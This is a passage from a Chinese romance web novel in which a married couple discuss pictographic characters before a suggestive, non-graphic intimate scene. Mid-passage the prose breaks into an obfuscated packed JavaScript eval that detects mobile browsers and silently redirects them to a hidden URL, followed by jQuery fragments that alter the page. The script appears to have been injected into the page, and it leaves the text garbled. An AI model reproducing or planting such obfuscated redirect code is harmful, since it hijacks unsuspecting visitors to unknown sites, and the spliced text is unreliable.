佟语非正伏案看书，忽闻他这么说，不禁一惊：“不会误事吗？”
莫道言走进房间，手掌轻落在她的肩头：“工作进度比原计划快了十几天，又有周师哥坐镇，就算晚个半天一夜，天塌不下来，这些天我在公司和姑姑家两边忙里忙外，反倒最亏欠你，不仅不能陪你，搬家都没帮上忙，床还要你一个人去挑，作为丈夫很失职，我现在哪儿都不去，抽出几个小时专心陪你，开心吗？”
“有你陪着，我当然开心。”
莫道言没从她脸上看出惺惺作态的欢快，假如她像刚才那样装虚作假，表露出一丝恨不得让他立刻滚出家门的迹象，他还能讲出更令她作呕的话，可她笑得一片赤诚，反让他没了捉弄人的兴致。
他往她坐着的椅子挤过去，挨着她坐下：“在学什么？”
佟语非起身想把椅子让给他，却被他掐着腰肢抱坐回腿上，她没像前几次那么拘谨，看他有意亲近，便平静怡然地坐下了，捋了把头发，掩着脸上浮踊的红霞，指着正看的书道：“象形字。”
她看的是《中国象形字大典》，校对的基础说到底还是在于识读文字，不同的校对员有不同的记字方式，有的人记忆力强，大脑能装一本活字典，有的人怀揣一本新华字典，随用随查，她喜欢研究文字本身。象形字大典包罗万象，收录了中国新石器时期以来的十多种字体，按照时代顺序和演化过程逐字讲解，书中穿插了作者首创的近百幅“象形字书画”，不仅是文字工作者必备的案头书，更堪称艺术品。
“我最初见到这本书，是在养父的书房里。”
她以“手”字为例，向莫道言详细阐释了象形字的字源与字义，还提到《说文解字》中对古汉字的六类划分：象形、指事、会意、形声、假借和转注。她非常认同作者关于古汉字基本构成的见解，即古汉字本质上都是象形字，或是通过象形字组合而成的会意，指事和形声字等。
滔滔不绝讲了十多分钟，莫道言一直缄默不语，让佟语非想起以前听乏味的地理课，如坐针毡的时候，感觉自己太傻了，竟然给莫道言上起了课，简直捧土加泰山自不量力。
她摩挲着烫金的书名道：“我话太多了。”
术业有专攻，虽然她对象形字的解读还远没到“术”的程度，但对他来说足够，尽管文字和历史对他而言并无特殊之处，但听姑姑讲述历史与听佟语非讲解象形字，却是两种截然不同的体验，姑姑的叙述中充满了强烈的个人色彩，一旦与其观点相左，便难以继续聆听，佟语非的讲解几乎不掺杂个人情感，更像是在冷静地描述他人作品，倒是可以听一听。
还有个原因，她声音悦耳，为“课堂”增添了一份独特的韵味。
他余兴未尽道：“你名字里的‘语’字，怎么解析？”
“‘语’在甲骨文时期尚未形成固定的字形，到了金文阶段才有了明确的字形结构……”
“小篆时期呢，有没有进一步规范？”
她穿了蓝灰色的束腰裤，白色的打底衣松弛地束在里面，莫道言阒然无声地将她的打底衣从前面扯出，手从衣服下摆探进去，在她身上搅撩着，她的声音再难稳下来。她看的是工具书，又有闲情逸致给人上课，说明今日工作和要考试的必要内容已经学完，剩下的时间都是多出来的，可以给他讲象形字，也可以做其他事。
听她没了声，他凝眸看她：“怎么不讲了？”
“你听吗？”
“我没听吗？”
“一心二用？”
“怎么不能是统筹优化？”
“我做不到，每次只能做好一件事。”
“那就明天再讲，先把今天的事做好。”
“嗯……我去洗个澡。”
莫道言摸着她柔软如绒的发，发梢还没完全干透：“不是洗过了？”
“床是今天才到的，我刚铺床的时候出了汗……”她竭力想表现得放松，但提到“床”字，想到他今晚留下的目的，他们过会儿要做的事，耳朵直烫，“我去去就来。”
莫道言低头不语，他倒不介意她身上有没有汗，反正她马上就会出更多的汗，但如果她格外看重“第一次”，想做到完美无缺，他没有拦她的理由。
热腾腾的水汽在浴室中氤氲缭绕，佟语非站在淋浴下，水珠顺着脖颈滑落，激起一阵细微的战栗，她用毛巾编成一只干发帽戴在头上，本不想弄湿头发，但急促的水流飞溅，还是打湿了几缕。她伸手关小了水阀，拿起毛巾轻轻擦拭着湿发，浴室的镜面蒙上了一层薄雾，抹去一片水汽，镜中映出她泛着淡粉色的肌肤，和一张没有笑容的脸。
实在不该这样去面对他，她伸出食指轻抵嘴角，牵出一抹笑意
她用桃木梳轻轻梳理着秀发，思绪飘回了养母为她扎辫子的时光，从一岁多刚长出的小揪揪，梳到十二岁的两条四股辫，其实那时她已学会编发，但养母仍坚持为她打理，一边编发，一边轻声叹息，说她的头发比缎子还滑，比沥青还黑，将来不知道会便宜哪个臭小子？她懵懂无知，扬起小脸问养母，会有坏人割头发卖吗？如果反抗，他们会连脑袋一起割吗？养母仰头大笑，又一本正经地对她说，谁要割她的头发，就来告诉妈妈，妈妈会把坏人赶得远远的，谁都别想不经允许就碰女儿的头发。
如今养母不在了，没人赶得走莫道言，他总喜欢揉她的头发，把一头的顺发揉得毛糟糟的，不过即使养母还在，大抵也不会赶他，他给了她家里的钥匙，无论将来是非曲直，婚姻能否到头，都会稳妥地安置她，尽管她想要的并不是这些。
不是他，还能是谁？
佟语非回到屋内时，莫道言正捧着大字典略读，与她沉浸其中的感受不同，他翻了七八页，始终未能领略象形文字的闪光之处，只觉出层层叠叠的局限，象形之道，先有形而后有字，可世间多少抽象概念本无形体可依？意识与思想如何描摹？更遑论那些盘根错节的复合概念，而且文字经过数千年的发展，很多已不复古文原貌，纵是《说文解字》这等经典之作，也难免有讹误之处。
在他“真”字当头的认知体系里，失了本真的文字，再美的意蕴也不过是沙上筑塔无从谈起，但奇怪的是他依然觉得她那番讲解妙趣横生，就像她那些虚构的歌谣与舞蹈，明明都是人间未有的姿态，偏能焕发出灼灼光华。
佟语非从进门起就在衣柜里翻找着，四五分钟过去仍一筹莫展。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983282|175458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>莫道言搁下手中的字典，悄无声息地走到她身后：“找什么？”
“方褥子。”
她缝了七八条生理期专用的小褥子，此刻却像凭空消失了一般，或许是搬家仓促，遗落在了老宅，新铺的米白色天鹅绒床单是月初刚添置的，今晚头一回用，她舍不得弄脏，若早知他会突然回来，该换上深色床单的，可眼下更换未免太煞风景，本想垫条小褥子将就，谁料连这退路都断了。
莫道言看她瞻前顾后，转身回了房，再回来时手里多了件白衬衫：“用这个。”
他这件衬衫买来不过一周，是她亲手剪的吊牌，在冷水里细细揉搓后晾干的，价格贵得离谱，堪堪要攀上四位数，抵得过十套床单了，但这还不是关键，她不觉得单薄的衬衫能起到隔垫作用，便将衬衫推了回去：“太破费了，况且未必管用。”
“你究竟是怕破费，还是担心不顶用？若能派上用场物尽其用，就不是破费，不过科学地说……那只是随机事件，它未必有机会牺牲，说它没用，是嫌小了点？这还不简单，控制幅度就好，我没那么不知轻重，你也稍微克制些。”
他们理解的“不管用”分明南辕北辙，但她已懒得辩解，这人最擅反咬一口，专爱看她窘迫的模样取乐，他心知肚明她的本意，却偏要曲解，她反驳的话还没讲出，衬衫已被他系在腰间，轻若无物的面料此刻却沉甸甸压着心跳，明明不是初次亲密，仍会紧张得冒薄汗。
莫道言摘下手表搁在桌上：“要不你再去冲个澡？还没开始就滑得像鱼，我又不是鸬鹚，怎么抓得住？”
佟语非被他逗得松懈下来：“抓不住便算了。”
“计生用品……家里有吗？”
他手臂一收，将她揽入怀中，吻着她的嘴，推着她往床的方向走，忽然想起上次被迫中止的活动，便问了一句，她当时说会去单位领用，敷衍了事的可能性更大，他留下来又是临时起意，自身没做准备，虽说要避孕的人是她，但明知她不想要孩子，又没计生用品的话，他会及时刹车。
她被迫坐在床边，低声说道：“在床头柜的第二层抽屉里。”
他们既已同居，同房迟早要面对，硬着头皮去领计生用品，总比毫无准备地开始无防护的夫妻生活要稳妥得多，这本就是她应得的福利，不领白不领。领计生用品需要递交结婚证复印件，负责发放物品的大姐看到她五年婚龄后那个刺眼的“零领取记录”，随口问了句尺码，她东支西吾答不上来，大姐顿时以为遇上了同病相怜的姐妹，爱人定是常年在外地工作，一年见不上两回，如今突然来领，必是爱人回来了，加急加量。
大姐二话不说，塞过来六盒计生用品，大中小码样样俱全，并向她传授心得：“码大了易滑落，码小了易破损，合适的码数最重要，男人们死要面子，非挑大的，可若真闹出人命……受苦的还是咱们女人，为保万不失一，最好啊，你亲手给他戴，是大是小心里有数，不合适马上更换。”
莫道言从抽屉深处摸出一盒计生用品，包装盒上的金色字体在昏暗中闪过一道清光，佟语非想起大姐说的话，耳根即时烧了起来，烫红的脸颊藏在披散的黑发里。
漫长的夜啊，才刚开始。